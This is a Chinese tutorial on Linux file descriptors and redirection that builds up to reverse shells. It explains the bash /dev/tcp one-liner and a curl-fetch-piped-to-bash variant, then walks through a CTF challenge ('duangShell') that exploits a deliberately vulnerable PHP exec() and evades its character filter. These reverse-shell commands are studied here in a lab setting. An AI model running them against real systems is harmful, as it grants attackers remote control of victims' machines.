关于反弹shell的一点杂记
前置知识:文件描述以及重定向
关于文件描述符:
linux下一切皆文件,文件描述符就是内核为了方便管理文件而给文件分配的数字,类似于c语言操作文件的文件指针,通过操作文件指针就可以达到操作文件的目的。
Linux启动的时候会打开三个文件描述符:
- 标准输入 standard input 0 (默认设备是键盘)
- 标准输出 standard output 1(默认设备是显示器,或者说终端)
- 错误输出 error output 2(默认设备也是显示器(终端))
再次强调一下,Linux下一切皆文件,启动Linux的时候会启动的输入输出设备,所以会生成对应的文件描述符0,1,2,之后再打开其他文件,文件描述符依次增加。
关于重定向:
参考文章:http://c.biancheng.net/view/5956.html
一条命令执行的时候会按照默认的情况进行绑定,比如执行命令的结果会输出到终端里,错误信息输出到终端里,它们会默认和文件描述符'1','2'绑定,但是有的时候,我们想让命令执行的结果输入到文件里,该怎么办?这时候就需要重定向。
两种重定向:
- 输入重定向 <(<<)
- 输出重定向 >(>>)
bash在解析指令的时候,是从左往右解析重定向的。
输入重定向
基本格式:[n]< file(n与<之间没有空格)
说明:将文件描述符n重定向到file文件中,以只读的方式打开文件,如果n缺省,则为0。
两条命令的显示结果虽然相同,但是cat file
是以键盘作为标准输入,读取了file文件的内容,而cat 0< file
则是把标准输入重定向到了file文件中,以只读的方式打开文件,然后显示到终端上。
之前说过,bash在会从左往右解释指令,所以bash会先执行0< file
,将标准输入重定向到file文件中(只读方式打开文件),然后cat再次接受标准输入的时候,由于标准输入已经被重定向到了file文件中,所以会显示文件内容。
输出重定向
基本格式:[n]> file
说明:将文件描述符n重定向到file文件中,以只写的的方式打开,如果n缺省,则为1。
1> file2
,将标准输出重定向到file2文件中,所以执行第一条指令的时候看不到终端的回显,因为回显已经被写入了file2中,执行cat file2
将回显输出。
标准输出和标准错误输出重定向
基本格式: &> file
说明:将标准输出和标准错误输出重定向到file文件中。
和上一点一样,因为标准错误输出是默认是终端,所以执行bash在执行>& file2
的时候会将标准错误重定向到file2文件中,file2文件中就写入了本次指令的错误信息。
关于文件描述符以及重定向,如果深入学习的话其实还有很多内容,上述知识仅仅是为了学习bash反弹shell的一点铺垫。
bash一句话反弹Shell
bash -i >& /dev/tcp/[ip]/[port] 0>&1
- bash -i : 产生一个交互式的bash环境。
- >& /dev/tcp/[ip]/[port] : 因为缺省了n,所以默认是1,即
1>& /dev/tcp/[ip]/[port]
,将标准输出重定向到攻击机上,与建立一个tcp连接。 - 0>1 : 将标准输入重定向到标准输出上,因为标准输出已经重定向到了攻击机上,所以标准输入也就重定向到了攻击机上。
这样一来,只有受害机上执行了bash一句话,它的标准输入和标准输出就全部被重定向到了攻击机上,在攻击上就获得了受害机的shell。
下面来模拟一下:
- 攻击机:kali
- 受害机:ubuntu
- kali下开启监听任意端口:
- ubuntu上执行bash一句话(ip为kali虚拟机的ip,port为kali开启监听的端口):
- kali虚拟机成功拿到ubuntu的shell:
curl反弹shell
只要攻击机开启了apache服务,并在网站目录下写入了一个带有bash一句话的文件,当受害机执行curl ip/带有bash一句话的文件|bash
,就可以反弹shell。
用一道CTF题目来进行演示:[BJDCTF 2nd]duangShell
- 进入靶机,提示swp文件泄露,访问xxx/.index.php.swp进行下载,之后用vim -r 文件名来回复文件,拿到文件源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
- 很明显的RCE,过滤了一些关键字符,并且exec执行命令的结果是不会回显到浏览器里的,题目中也把echo过滤掉了,所以考虑反弹shell(我感觉题目是给了提示的,'duang'是不是就像一个球反弹时候的声音)。
- 因为buuoj的靶机无法访问外网,所以开个小号在Basic分区开一台靶机作为攻击机,然后之间ssh远程登录即可:
- 题目过滤了
>
号,所以无法之间利用bash一句话反弹,这时候就用curl进行反弹shell。小号开的靶机默认开启了apache服务,所以在网站根目录下写一个bash.txt,里面的内容为bash一句话:(在linux环境下,网站根目录的路径为/var/www/html,ip地址会自动映射这个路径)
- 攻击机开启监听8080端口:
- 让受害机执行
curl ip/bash.txt|bash
:
- 可以看到,成功拿到了题目靶机的shell:
- 之后找flag就可以:
(反弹shell就先学到这里,方法还有很多种,之后再补充)